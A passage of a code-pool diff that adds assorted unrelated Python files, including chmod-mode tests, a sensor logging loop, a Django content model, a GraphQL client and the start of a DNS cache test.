+ (0o040000, u'u=rwx,g=rwx,o=rwx', 0o0777),
161
+ (0o040000, u'o=rwx', 0o0007),
162
+ (0o040000, u'g=rwx', 0o0070),
163
+ (0o040000, u'u=rwx', 0o0700),
164
+
165
+ # X effect on files and dirs
166
+ (0o040000, u'a+X', 0o0111),
167
+ (0o100000, u'a+X', 0),
168
+ (0o040000, u'a=X', 0o0111),
169
+ (0o100000, u'a=X', 0),
170
+ (0o040777, u'a-X', 0o0666),
171
+ # Same as chmod but is it a bug?
172
+ # chmod a-X statfile <== removes execute from statfile
173
+ (0o100777, u'a-X', 0o0666),
174
+
175
+ # Multiple permissions
176
+ (0o040000, u'u=rw-x+X,g=r-x+X,o=r-x+X', 0o0755),
177
+ (0o100000, u'u=rw-x+X,g=r-x+X,o=r-x+X', 0o0644),
178
+ )
179
+
180
+ UMASK_DATA = (
181
+ (0o100000, '+rwx', 0o770),
182
+ (0o100777, '-rwx', 0o007),
183
+ )
184
+
185
+ INVALID_DATA = (
186
+ (0o040000, u'a=foo', "bad symbolic permission for mode: a=foo"),
187
+ (0o040000, u'f=rwx', "bad symbolic permission for mode: f=rwx"),
188
+ )
189
+
190
+
191
+ @pytest.mark.parametrize('stat_info, mode_string, expected', DATA)
192
+ def test_good_symbolic_modes(mocker, stat_info, mode_string, expected):
193
+ mock_stat = mocker.MagicMock()
194
+ mock_stat.st_mode = stat_info
195
+ assert AnsibleModule._symbolic_mode_to_octal(mock_stat, mode_string) == expected
196
+
197
+
198
+ @pytest.mark.parametrize('stat_info, mode_string, expected', UMASK_DATA)
199
+ def test_umask_with_symbolic_modes(mocker, stat_info, mode_string, expected):
200
+ mock_umask = mocker.patch('os.umask')
201
+ mock_umask.return_value = 0o7
202
+
203
+ mock_stat = mocker.MagicMock()
204
+ mock_stat.st_mode = stat_info
205
+
206
+ assert AnsibleModule._symbolic_mode_to_octal(mock_stat, mode_string) == expected
207
+
208
+
209
+ @pytest.mark.parametrize('stat_info, mode_string, expected', INVALID_DATA)
210
+ def test_invalid_symbolic_modes(mocker, stat_info, mode_string, expected):
211
+ mock_stat = mocker.MagicMock()
212
+ mock_stat.st_mode = stat_info
213
+ with pytest.raises(ValueError) as exc:
214
+ assert AnsibleModule._symbolic_mode_to_octal(mock_stat, mode_string) == 'blah'
215
+ assert exc.match(expected)
pool/shard009/Python/0084155_leda.py ADDED
@@ -0,0 +1,84 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import threading
2
+ import time
3
+ import signal
4
+
5
+
6
+ class Leda:
7
+ """Handles Timing, data capture and logging"""
8
+
9
+ def __init__(self, camera_obj, cam_period, uart_obj, serial_period, gps_obj, logger_obj, debug_obj):
10
+
11
+ # assign capture periods
12
+ self.cam = camera_obj
13
+ self.cam_period = cam_period
14
+
15
+ self.uart = uart_obj
16
+ self.serial_period = serial_period
17
+
18
+ self.gps = gps_obj
19
+
20
+ self.log = logger_obj
21
+ self.log.open()
22
+
23
+ self.debug = debug_obj
24
+ self.debug.open()
25
+
26
+ self.kill_now = False
27
+
28
+ signal.signal(signal.SIGINT, self.exit_gracefully)
29
+ signal.signal(signal.SIGTERM, self.exit_gracefully)
30
+
31
+ def exit_gracefully(self, signum, frame):
32
+ self.kill_now = True
33
+
34
+ def log_data(self, timestamp):
35
+ self.debug.write("Logging data")
36
+ # get sensor data from uart
37
+ sensor_data = self.uart.capture()
38
+ gps_data = self.gps.capture()
39
+
40
+ if sensor_data == False:
41
+ self.uart.reset()
42
+ self.debug.write("Bad data from daughter board")
43
+ else:
44
+ self.log.append(','.join(gps_data) + "," + sensor_data, timestamp)
45
+ self.debug.write("Daughter board data captured")
46
+
47
+ def take_picture(self, time):
48
+ self.debug.write("Taking picture")
49
+ self.cam.capture(time)
50
+
51
+ # requires tasks to finish in their allotted time
52
+ def infinite_loop(self):
53
+ self.debug.write("Successfully launched")
54
+
55
+ self.gps.wait()
56
+
57
+ tick = 1
58
+ while True:
59
+
60
+ if self.kill_now:
61
+ self.debug.write("Quitting")
62
+ self.log.close()
63
+ self.uart.close()
64
+ self.debug.close()
65
+ break
66
+
67
+ # monotonic clock will not change as system time changes
68
+ begin = time.clock_gettime(time.CLOCK_MONOTONIC)
69
+ # system time can be converted to date/time stamp
70
+ stamp = time.time()
71
+ t1 = threading.Thread(target=self.log_data, args=(stamp,))
72
+ t1.start()
73
+
74
+ if tick >= self.cam_period:
75
+ tick = 1
76
+ t2 = threading.Thread(target=self.take_picture, args=(begin,))
77
+ t2.start()
78
+ else:
79
+ tick = tick + 1
80
+
81
+ delta = time.clock_gettime(time.CLOCK_MONOTONIC) - begin
82
+
83
+ if self.serial_period > delta:
84
+ time.sleep(self.serial_period - delta)
pool/shard009/Python/0084158_tasks.py ADDED
@@ -0,0 +1,46 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import json
2
+ try:
3
+ from urllib.parse import urlparse
4
+ from urllib.parse import quote
5
+ except ImportError:
6
+ from urlparse import urlparse
7
+ from urllib import quote
8
+
9
+ from celery import shared_task
10
+ try:
11
+ import pika
12
+ DO_TASK = True
13
+ except ImportError:
14
+ DO_TASK = False
15
+
16
+ from django.conf import settings
17
+
18
+
19
+ @shared_task(max_retries=3, ignore_result=True)
20
+ def broadcast_purge(path, headers=None):
21
+ if not DO_TASK:
22
+ raise RuntimeError("Library pika>=0.11,<1.0 not found")
23
+
24
+ try:
25
+ url = settings.ULTRACACHE["rabbitmq-url"]
26
+ except (AttributeError, KeyError):
27
+ # Use same host as celery. Pika requires the path to be url
28
+ # encoded. A typical broker URL setting remains effectively
29
+ # unchanged but as soon as sub-paths are encountered this encoding
30
+ # becomes necessary.
31
+ parsed = urlparse(settings.CELERY_BROKER_URL)
32
+ url = "%s://%s/%s" % (
33
+ parsed.scheme,
34
+ parsed.netloc,
35
+ quote(parsed.path[1:], safe="")
36
+ )
37
+ connection = pika.BlockingConnection(pika.URLParameters(url))
38
+ channel = connection.channel()
39
+ channel.exchange_declare(exchange="purgatory", exchange_type="fanout")
40
+ channel.basic_publish(
41
+ exchange="purgatory",
42
+ routing_key="",
43
+ body=json.dumps({"path": path, "headers": headers or {}})
44
+ )
45
+ connection.close()
46
+ return True
pool/shard009/Python/0084161_user.py ADDED
@@ -0,0 +1,64 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import logging
2
+
3
+ from app import db, bcrypt
4
+ import datetime
5
+
6
+ class User(db.Model):
7
+ __tablename__ = 'users'
8
+
9
+ id = db.Column(db.Integer, primary_key=True)
10
+ username = db.Column(db.String(80), unique=True)
11
+ created_date = db.Column(db.DateTime, default=datetime.datetime.utcnow)
12
+ last_active_date = db.Column(db.DateTime, default=datetime.datetime.utcnow)
13
+ password_hash = db.Column(db.String(60))
14
+
15
+ def __init__(self, username):
16
+ self.username = username
17
+
18
+ def __repr__(self):
19
+ return '<User(id=%r, username=%r)>' % (self.id, self.username)
20
+
21
+ def authenticate(self, password, UserSession):
22
+ u = User.query.filter_by(username=self.username).first()
23
+ if(u == None):
24
+ return None
25
+
26
+ if bcrypt.check_password_hash(u.password_hash, password):
27
+ return self.generate_session(UserSession)
28
+
29
+ return None
30
+
31
+ def generate_session(self, UserSession):
32
+ session = UserSession(self.id)
33
+ session.commit()
34
+ return session.hash
35
+
36
+ @classmethod
37
+ def session_in_user(cls, user_id, session_hash, UserSession):
38
+ user = cls.query.get(user_id)
39
+ if user is not None:
40
+ s = UserSession.query.filter_by(user_id=user.id, hash=session_hash).first()
41
+ if s is not None:
42
+ user.update_last_active_date()
43
+ return True
44
+ else:
45
+ logging.info("Username with id=%r does not exist.") % user_id
46
+ return False
47
+
48
+ def remove_session(self, hash, UserSession):
49
+ s = UserSession.query.filter_by(hash=hash).first()
50
+ if s is not None:
51
+ db.session.delete(s)
52
+ db.session.commit()
53
+ return True
54
+ return False
55
+
56
+ def register(self, password, UserSession):
57
+ self.password_hash = bcrypt.generate_password_hash(password)
58
+ db.session.add(self)
59
+ db.session.commit()
60
+ return self.generate_session(UserSession)
61
+
62
+ def update_last_active_date(self):
63
+ self.last_active_date = datetime.datetime.utcnow()
64
+ db.session.commit()
pool/shard009/Python/0084162_data_filegrab.py ADDED
@@ -0,0 +1,93 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+ """
3
+ Created on Thu May 5 12:41:29 2016
4
+
5
+ @author: eman
6
+ """
7
+ import os
8
+ import scipy.io
9
+ import spectral.io.envi as envi
10
+ import numpy as np
11
+ import pickle
12
+
13
+ def get_hsi(datatype='vcu', system='linux'):
14
+
15
+
16
+
17
+
18
+ # defining which system I am currently in
19
+ if system in ['linux']:
20
+
21
+ path = "/media/eman/STORAGE_DRIVE/Documents/code/" + \
22
+ "coding_projects/data/hsi/vcu/"
23
+ else:
24
+ raise ValueError('Sorry, need a system data path.')
25
+
26
+ try:
27
+ return load_hsi(system=system)
28
+ except:
29
+ print('No hsi data found. Loading data...')
30
+ # defining which dataset I would like to acquire
31
+ if datatype in ['vcu', 'VCU']:
32
+ imga = '400m_subseta.img' # subset image a
33
+ imgb = '2000m_subseta.img' # subset image b
34
+ hdra = '400m_subseta.hdr' # subset image a hdr
35
+ hdrb = '2000m_subseta.hdr' # subset image b hdr
36
+ imggta = '400m_classmap.img' # subset image gt a
37
+ imggtb = '2000m_classmap.img' # subset image gt b
38
+ hdrgta = '400m_classmap.hdr' # subset image gt hdr a
39
+ hdrgtb = '2000m_classmap.hdr' # subset image gt hdr b
40
+
41
+ else:
42
+ raise ValueError('Sorry, Need a dataset.')
43
+
44
+ # changing the paths
45
+ current_path = os.getcwd()
46
+ os.chdir(path)
47
+
48
+
49
+ # get data
50
+ img1 = envi_to_array(imga, hdra)
51
+ img2 = envi_to_array(imgb, hdrb)
52
+ gt1 = envi_to_array(imggta, hdrgta)
53
+ gt2 = envi_to_array(imggtb, hdrgtb)
54
+
55
+ img_data = {'img1': img1, 'img2': img2, 'gt1': gt1, 'gt2': gt2}
56
+
57
+ pickle.dump(img_data, open('save.p', 'w'))
58
+
59
+
60
+ # change back to the current path
61
+ os.chdir(current_path)
62
+
63
+ return img1, img2, gt1, gt2
64
+
65
+
66
+
67
+
68
+ def load_hsi(system='linux'):
69
+
70
+ if system in ['linux']:
71
+ path = "/media/eman/STORAGE_DRIVE/Documents/code/" + \
72
+ "coding_projects/data/hsi/vcu/"
73
+ else:
74
+ raise ValueError('Sorry, need a system data path.')
75
+
76
+ # changing the paths
77
+ current_path = os.getcwd()
78
+ os.chdir(path)
79
+
80
+ img_data = pickle.load( open('save.p', 'r'))
81
+
82
+ # change back to the current path
83
+ os.chdir(current_path)
84
+
85
+ return img_data
86
+
87
+ def envi_to_array(img, hdr):
88
+
89
+ img = envi.open(hdr, img)
90
+
91
+ return img.read_bands(np.arange(img.shape[2]))
92
+
93
+
pool/shard009/Python/0084169_models.py ADDED
@@ -0,0 +1,138 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # This Source Code Form is subject to the terms of the Mozilla Public
2
+ # License, v. 2.0. If a copy of the MPL was not distributed with this
3
+ # file, You can obtain one at https://mozilla.org/MPL/2.0/.
4
+
5
+ from django.db import models
6
+ from django.db.models.query_utils import Q
7
+ from django.utils.timezone import now
8
+
9
+ from django_extensions.db.fields.json import JSONField
10
+
11
+ from bedrock.contentful.constants import CONTENT_TYPE_CONNECT_HOMEPAGE
12
+
13
+
14
+ class ContentfulEntryManager(models.Manager):
15
+ """
16
+ The key distinction here is that get_page_* returns a JSONDict of page data, while
17
+ get_entry_* and get_entries_* returns a QuerySet of ContentfulEntry records.
18
+ """
19
+
20
+ def get_page_by_id(self, content_id):
21
+ return self.get(contentful_id=content_id).data
22
+
23
+ def get_entry_by_slug(self, slug, locale, content_type, classification=None):
24
+ kwargs = dict(
25
+ slug=slug,
26
+ locale=locale,
27
+ content_type=content_type,
28
+ )
29
+ if classification:
30
+ kwargs["classification"] = classification
31
+ return self.get(**kwargs)
32
+
33
+ def get_page_by_slug(self, slug, locale, content_type, classification=None):
34
+ # Thin wrapper that gets back only the JSON data
35
+ return self.get_entry_by_slug(
36
+ slug,
37
+ locale,
38
+ content_type,
39
+ classification,
40
+ ).data
41
+
42
+ def get_entries_by_type(
43
+ self,
44
+ content_type,
45
+ locale,
46
+ classification=None,
47
+ order_by="last_modified",
48
+ ):
49
+ """Get multiple appropriate ContentfulEntry records, not just the JSON data.
50
+
51
+ Args:
52
+ content_type (str): the Contentful content type
53
+ locale (str): eg 'fr', 'en-US'
54
+ classification ([str], optional): specific type of content, used when have
55
+ a single content_type used for different areas of the site. Defaults to None.
56
+ order_by (str, optional): Sorting key for the queryset. Defaults to "last_modified".
57
+
58
+ Returns:
59
+ QuerySet[ContentfulEntry]: the main ContenfulEntry models, not just their JSON data
60
+ """
61
+
62
+ kwargs = dict(
63
+ content_type=content_type,
64
+ locale=locale,
65
+ )
66
+ if classification:
67
+ kwargs["classification"] = classification
68
+
69
+ return self.filter(**kwargs).order_by(order_by)
70
+
71
+ def get_homepage(self, locale):
72
+ return self.get(
73
+ content_type=CONTENT_TYPE_CONNECT_HOMEPAGE,
74
+ locale=locale,
75
+ ).data
76
+
77
+
78
+ class ContentfulEntry(models.Model):
79
+ contentful_id = models.CharField(max_length=20, unique=True)
80
+ content_type = models.CharField(max_length=20)
81
+ locale = models.CharField(max_length=5)
82
+ last_modified = models.DateTimeField(default=now)
83
+ url_base = models.CharField(max_length=255, blank=True)
84
+ slug = models.CharField(max_length=255, blank=True)
85
+ data_hash = models.CharField(max_length=64)
86
+ data = JSONField()
87
+ # Fields we may need to query by
88
+ classification = models.CharField(
89
+ max_length=255,
90
+ blank=True,
91
+ default="",
92
+ help_text="Some pages may have custom fields on them, distinct from their content type - eg: pagePageResourceCenter has a 'Product' field",
93
+ )
94
+ category = models.CharField(
95
+ max_length=255,
96
+ blank=True,
97
+ default="",
98
+ help_text="Some pages may have a category",
99
+ )
100
+ tags = JSONField(
101
+ blank=True,
102
+ help_text="Some pages may have tags",
103
+ )
104
+
105
+ objects = ContentfulEntryManager()
106
+
107
+ def __str__(self) -> str:
108
+ return f"ContentfulEntry {self.content_type}:{self.contentful_id}"
109
+
110
+ def get_related_entries(self, order_by="last_modified"):
111
+ """Find ContentfulEntry records that:
112
+ * are for the same content_type
113
+ * are for the same classification
114
+ * share at least one tag with `self`
115
+
116
+ Returns:
117
+ QuerySet[ContentfulEntry]
118
+ """
119
+
120
+ if not self.tags:
121
+ return ContentfulEntry.objects.none()
122
+
123
+ _base_qs = ContentfulEntry.objects.filter(
124
+ locale=self.locale,
125
+ content_type=self.content_type,
126
+ classification=self.classification, # eg same Product/project/area of the site
127
+ ).exclude(
128
+ id=self.id,
129
+ )
130
+
131
+ # Tags are stored in a JSONField, but we can query it as text by quoting them
132
+ q_obj = Q()
133
+ for _tag in self.tags:
134
+ q_obj.add(
135
+ Q(tags__contains=f'"{_tag}"'),
136
+ Q.OR,
137
+ )
138
+ return _base_qs.filter(q_obj).order_by(order_by).distinct()
pool/shard009/Python/0084170_Training.py ADDED
@@ -0,0 +1,110 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import Results
2
+ import TargetIdentification
3
+ import Standby
4
+ import constants as c
5
+
6
+ from ParameterHandler import NewTrainingParameterHandler
7
+
8
+ import scipy.optimize
9
+ import numpy as np
10
+
11
+
12
+ class DummyMasterConnection(object):
13
+ def __init__(self):
14
+ self.results = []
15
+
16
+ def sendClearBuffersMessage(self):
17
+ pass
18
+
19
+ def sendTargetMessage(self, message):
20
+ if not isinstance(message, bool):
21
+ self.results.append(message)
22
+
23
+ def sendRobotMessage(self, command):
24
+ pass
25
+
26
+
27
+ results = Results.Results()
28
+ standby = Standby.Standby()
29
+ standby.disable()
30
+ master_connection = DummyMasterConnection()
31
+ target_identification = TargetIdentification.TargetIdentification(master_connection, results, standby)
32
+
33
+ file_content = open("../save/test5_results_3.txt").readlines()
34
+ # frequencies = dict(enumerate(sorted(map(lambda x: x[0], eval(file_content[0])[1][('Sum PSDA', ('P7', 'O1', 'O2', 'P8'))][1]))))
35
+ features_list = []
36
+ for result in file_content:
37
+ features_list.append(eval(result))
38
+
39
+ file_content = open("C:\\Users\\Anti\\Desktop\\PycharmProjects\\MAProject\\src\\eeg\\test5.txt").read().split(";")
40
+ frequencies = eval(file_content[0])[0][c.EEG_RECORDING_FREQS]
41
+ expected = eval(file_content[2])[0]
42
+
43
+ parameter_handler = NewTrainingParameterHandler()
44
+
45
+ print frequencies
46
+ print expected
47
+ print len(features_list)
48
+
49
+ counter = 0
50
+ length = 256
51
+ step = 32
52
+ packet_nr = 3
53
+ target = expected[0][0]
54
+ expected_index = 1
55
+
56
+
57
+ def costFunction(numbers, options_handler, frequencies):
58
+ global counter, expected_index, target
59
+ new_options = options_handler.numbersToOptions(numbers)
60
+ # all_options[c.DATA_EXTRACTION_WEIGHTS] = new_options[c.DATA_EXTRACTION_WEIGHTS]
61
+ # all_options[c.DATA_EXTRACTION_DIFFERENCES] = new_options[c.DATA_EXTRACTION_DIFFERENCES]
62
+ # new_options[c.DATA_ACTUAL_RESULTS][c.DATA_ALWAYS_DELETE]= all_options[c.DATA_ACTUAL_RESULTS][c.DATA_ALWAYS_DELETE]
63
+ # new_options[c.DATA_PREV_RESULTS][c.DATA_ALWAYS_DELETE] = all_options[c.DATA_PREV_RESULTS][c.DATA_ALWAYS_DELETE]
64
+ # all_options[c.DATA_ACTUAL_RESULTS] = new_options[c.DATA_ACTUAL_RESULTS]
65
+ # all_options[c.DATA_PREV_RESULTS] = new_options[c.DATA_PREV_RESULTS]
66
+ print new_options
67
+ target_identification.results.start(frequencies.values())
68
+ target_identification.resetTargetVariables()
69
+ target_identification.setup(new_options)
70
+ target_identification.resetResults(frequencies.values())
71
+ for i, result in enumerate(features_list):
72
+ if i == 0:
73
+ packet_nr = length
74
+ else:
75
+ packet_nr = length + step * i
76
+
77
+ if expected_index < len(expected) and packet_nr >= expected[expected_index][1]:
78
+ target = expected[expected_index][0]
79
+ expected_index += 1
80
+
81
+ target_identification.handleFreqMessages(result, frequencies, target)
82
+ # print i, packet_nr, target
83
+ target_identification.results.trialEnded(packet_nr)
84
+
85
+ wrong_result_count = target_identification.results.list[-1]["Wrong"]
86
+ correct_result_count = target_identification.results.list[-1]["Correct"]
87
+ result = target_identification.results.list[-1]["Wrong"] - target_identification.results.list[-1]["Correct"]
88
+ result = len(features_list) if wrong_result_count == 0 and correct_result_count == 0 else result
89
+ # if counter % 100 == 0 or True:
90
+ # print "Result", correct_result_count, wrong_result_count
91
+ counter += 1
92
+ print "Result", correct_result_count, wrong_result_count
93
+ # return result
94
+ # total = target_identification.results.list[-1]["Wrong"] + target_identification.results.list[-1]["Correct"]
95
+ # return -total+result
96
+ return -correct_result_count
97
+
98
+
99
+ result = scipy.optimize.differential_evolution(
100
+ costFunction,
101
+ parameter_handler.getBounds(),
102
+ args=(parameter_handler, frequencies),
103
+ popsize=20,
104
+ seed=99,
105
+ disp=True
106
+ )
107
+ print counter
108
+ print result
109
+
110
+
pool/shard009/Python/0084174_debug.py ADDED
@@ -0,0 +1,66 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #
2
+ # Copyright Muis IT 2011 - 2016
3
+ #
4
+ # This file is part of AWS Freezer
5
+ #
6
+ # AWS Freezer is free software: you can redistribute it and/or modify
7
+ # it under the terms of the GNU General Public License as published by
8
+ # the Free Software Foundation, either version 3 of the License, or
9
+ # (at your option) any later version.
10
+ #
11
+ # AWS Freezer is distributed in the hope that it will be useful,
12
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
13
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14
+ # GNU General Public License for more details.
15
+ #
16
+ # You should have received a copy of the GNU General Public License
17
+ # along with AWS Freezer (see the COPYING file).
18
+ # If not, see <http://www.gnu.org/licenses/>.
19
+
20
+ import time, sys, getopt, inspect, traceback, threading
21
+
22
+ import sys, codecs, locale
23
+ sys.path.append("..")
24
+ import globals
25
+ import logging
26
+
27
+ class LogHandler(logging.Handler):
28
+ def handle(self,record):
29
+ globals.Reporter.message("LOG: " + str(record.pathname) + ":" + str(record.lineno) + ":" + str(record.msg),record.name)
30
+
31
+ class Reporter(object):
32
+ verbose=False
33
+ trace={}
34
+
35
+ def _init__(self):
36
+ sys.stdout = codecs.getwriter(sys.stdout.encoding)(sys.stdout)
37
+
38
+ def mark(self,msg):
39
+ # generic, non-error, i-am-still-alive-message
40
+ tt = time.localtime()
41
+ sys.stdout.write("%04d-%02d-%02d %02d:%02d:%02d %s\r\n"%(tt[0],tt[1],tt[2],tt[3],tt[4],tt[5],msg.encode('utf-8','ignore')))
42
+
43
+ def message(self,msg,trace=None):
44
+ try:
45
+ # messages that should only be shown when verbose output is on
46
+ if self.verbose and (trace==None or len(self.trace)==0 or self.trace.has_key(trace)):
47
+ tt = time.localtime()
48
+ if trace==None:
49
+ sys.stdout.write("%02d%02d%02d [%s]: %s\r\n"%(tt[3],tt[4],tt[5],threading.currentThread().name,msg.encode('utf-8','ignore')))
50
+ else:
51
+ sys.stdout.write("%02d%02d%02d [%s](%s): %s\r\n"%(tt[3],tt[4],tt[5],threading.currentThread().name,trace,msg.encode('utf-8','ignore')))
52
+ sys.stdout.flush()
53
+ except:
54
+ self.error("Unable to print message",True)
55
+
56
+ def error(self,msg, doexcept=True):
57
+ try:
58
+ # error messages, possibly with exception trace
59
+ tt = time.localtime()
60
+ sys.stderr.write("%02d%02d%02d [%s] ERROR: %s at %s:%d\r\n"%(tt[3],tt[4],tt[5],threading.currentThread().name, msg,inspect.stack()[1][1],inspect.stack()[1][2]))
61
+ except:
62
+ doexcept=True
63
+ if doexcept:
64
+ traceback.print_exc()
65
+
66
+ globals.Reporter=Reporter()
pool/shard009/Python/0084189_ws4py_drayer.py ADDED
@@ -0,0 +1,51 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ #This file is only used for embedding as a libraru
3
+ from ws4py.websocket import WebSocket
4
+ import threading
5
+ import time
6
+ from hardline import drayerdb
7
+ import cherrypy
8
+
9
+ class WebInterface():
10
+ @cherrypy.expose
11
+ def ws(self):
12
+ pass
13
+
14
+ @cherrypy.expose
15
+ def index(self):
16
+ pass
17
+
18
+ class DrayerAPIWebSocket(WebSocket):
19
+ def __init__(self, *args, **kwargs):
20
+ self.widget_wslock = threading.Lock()
21
+
22
+ # We don't know what DB they are connected to
23
+ self.db = None
24
+ self.session = drayerdb.Session(isClientSide=True)
25
+ WebSocket.__init__(self, *args, **kwargs)
26
+
27
+ def send(self, *a, **k):
28
+ with self.widget_wslock:
29
+ WebSocket.send(self, *a, **k, binary=isinstance(a[0], bytes))
30
+
31
+ def closed(self, code, reason):
32
+ pass
33
+
34
+ def received_message(self, message):
35
+ message = message.data
36
+ if not self.db:
37
+ if message[1:17] in drayerdb.databaseBySyncKeyHash:
38
+ db = drayerdb.databaseBySyncKeyHash[message[1:17]]
39
+
40
+ def f(x):
41
+ self.send(x)
42
+
43
+ self.session.send = f
44
+ db.subscribers[time.time(
45
+ )] = self.session
46
+ self.db = db
47
+
48
+
49
+ x = self.db.handleBinaryAPICall(message, self.session)
50
+ if x:
51
+ self.send(x)
pool/shard009/Python/0084191_graphql_client.py ADDED
@@ -0,0 +1,80 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from typing import Any, Dict, NamedTuple, cast
2
+
3
+ from graphql import graphql as graphql_main
4
+ from graphql import GraphQLSchema
5
+ from graphql.execution import ExecutionResult
6
+
7
+ from .pent import PentContext, PentContextfulObject
8
+
9
+
10
+ class GraphQLArg(NamedTuple):
11
+ name: str
12
+ arg_type: str
13
+ value: Any
14
+
15
+
16
+ class InProcessGraphQLClient:
17
+ def __init__(self, root_value: PentContextfulObject, graphql_schema: GraphQLSchema) -> None:
18
+ self.root_value = root_value
19
+ self.graphql_schema = graphql_schema
20
+
21
+ @property
22
+ def context(self) -> PentContext:
23
+ return self.root_value.context
24
+
25
+ async def gen_mutation(self, graphql_text: str, *args: GraphQLArg) -> dict:
26
+ return await self.gen_operation(graphql_text, 'mutation', *args)
27
+
28
+ async def gen_query(self, graphql_text: str, *args: GraphQLArg) -> dict:
29
+ return await self.gen_operation(graphql_text, 'query', *args)
30
+
31
+ async def gen_operation(self, graphql_text: str, operation: str, *args: GraphQLArg) -> dict:
32
+ arg_strings = []
33
+ for name, arg_type, _value in args:
34
+ arg_strings.append("${name}: {arg_type}".format(name=name, arg_type=arg_type))
35
+
36
+ arg_list = ', '.join(arg_strings)
37
+
38
+ full_query = (
39
+ '{operation} ({arg_list}) '.format(arg_list=arg_list, operation=operation) + '{' +
40
+ graphql_text + '}'
41
+ )
42
+ arg_dict = {arg.name: arg.value for arg in args}
43
+ result = await (
44
+ exec_in_mem_graphql(
45
+ self.graphql_schema, self.context, full_query, self.root_value, arg_dict
46
+ )
47
+ )
48
+ if result.errors:
49
+ _process_error(result)
50
+
51
+ return cast(dict, result.data)
52
+
53
+
54
+ def _process_error(result: ExecutionResult) -> None:
55
+ # this is pretty horrific. need a better generalized story to getting reasonable
56
+ # stack traces
57
+ print(repr(result.errors[0]))
58
+ if hasattr(result.errors[0], 'original_error'):
59
+ print(repr(result.errors[0].original_error))
60
+ original_error = result.errors[0].original_error
61
+ import traceback
62
+ trace = original_error.__traceback__
63
+ trace_string = ''.join(traceback.format_tb(trace))
64
+ print('ORIGINAL: ' + trace_string)
65
+
66
+
67
+ async def exec_in_mem_graphql(
68
+ graphql_schema: GraphQLSchema,
69
+ pent_context: PentContext,
70
+ query: str,
71
+ root_value: Any,
72
+ variables: Dict[str, Any]=None
73
+ ) -> ExecutionResult:
74
+ return await graphql_main(
75
+ graphql_schema,
76
+ query,
77
+ context_value=pent_context,
78
+ variable_values=variables,
79
+ root_value=root_value
80
+ )
pool/shard009/Python/0084192_test_cache.py ADDED
@@ -0,0 +1,129 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Copyright (c) Twisted Matrix Laboratories.
2
+ # See LICENSE for details.
3
+
4
+ import time
5
+
6
+ from twisted.trial import unittest
7
+
8
+ from twisted.names import dns, cache
9
+ from twisted.internet import task
10
+
11
+ class Caching(unittest.TestCase):
12
+ """
13
+ Tests for L{cache.CacheResolver}.
14
+ """
15
+
16
+ def test_lookup(self):
17
+ c = cache.CacheResolver({
18
+ dns.Query(name='example.com', type=dns.MX, cls=dns.IN):
19
+ (time.time(), ([], [], []))})
20
+ return c.lookupMailExchange('example.com').addCallback(
21
+ self.assertEqual, ([], [], []))
22
+
23
+
24
+ def test_constructorExpires(self):
25
+ """
26
+ Cache entries passed into L{cache.CacheResolver.__init__} get
27
+ cancelled just like entries added with cacheResult
28
+ """
29
